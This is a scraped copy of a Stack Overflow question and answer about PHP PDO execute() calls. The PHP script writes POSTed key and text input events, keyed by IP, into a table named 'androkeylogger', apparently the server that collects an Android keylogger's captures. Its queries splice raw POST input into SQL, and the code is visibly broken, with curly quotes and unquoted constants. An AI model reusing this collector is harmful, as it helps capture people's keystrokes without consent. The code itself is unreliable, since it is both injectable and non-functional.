gpt4 book ai didi

PHP- PDO MySQL execute();

转载 作者:行者123 更新时间:2023-11-29 03:00:26 25 4
gpt4 key购买 nike

我正在使用 PDO MySQL 在 MySQL 服务器中插入 POST 数据。我的代码是:

<?php
$ip = $_SERVER['REMOTE_ADDR']
$type = $_POST['type'];
$data = $_POST['data'];
$server = localhost;
$mysql_user = dbuser;
$mysql_pass = passwd;
$useDb = android;

$dsn = sprintf('mysql:host=%s; dbname=%s', $server, $useDb);
$pdo = new PDO($dsn, $mysql_user, $mysql_pass);
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 1);
$pdo->setAttribute(PDO::ATTR_PERSISTENT, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, 'SET NAMES utf8');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

switch($type)
{
case 'keyinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
}
else {
$pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)');
}
break;

case 'textinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
}
else {
$pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
break;
}
?>

在 if else 语句中,我应该添加$pdo->执行();执行查询?任何帮助将不胜感激。

编辑:我在 if..else 语句中更改了查询变量名称。现在这样正确吗?

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$type = $_POST['type'];
$data = $_POST['data'];
$server = localhost;
$mysql_user = dbuser;
$mysql_pass = passwd;
$useDb = android;

$dsn = sprintf('mysql:host=%s;dbname=%s', $server, $useDb);
$pdo = new PDO($dsn, $mysql_user, $mysql_pass);
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 1);
$pdo->setAttribute(PDO::ATTR_PERSISTENT, false);
$pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, 'SET NAMES utf8');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

switch($type)
{
case 'keyinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘keyinputevent’ ');
}
else {
$query2=$pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’)');
}
$query2->execute();
break;

case 'textinputevent':
$query = $pdo->prepare(' SELECT * FROM androkeylogger WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
$query->execute();
$rows = $query->rowCount();
if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
}
else {
$query2 = $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
$query2->execute();
break;
}
?>

最佳答案

是的,您已经准备了第二个查询(即您在 if...else 语句中的查询,但您需要调用 execute 以使查询实际发生。我会做这样的事情:

if ($rows > 0) {
$query2 = $pdo->prepare(' UPDATE androkeylogger SET data = CONCAT(data, ‘$data’) WHERE ip = ‘$ip’ AND type = ‘textinputevent’ ');
} else {
$query2 = $pdo->prepare(' INSERT into androkeylogger (ip, type, data) VALUES(‘$ip’, ‘$type’, ‘$data’) ');
}
$query2->execute();
break;

关于PHP- PDO MySQL execute();,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/24526354/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com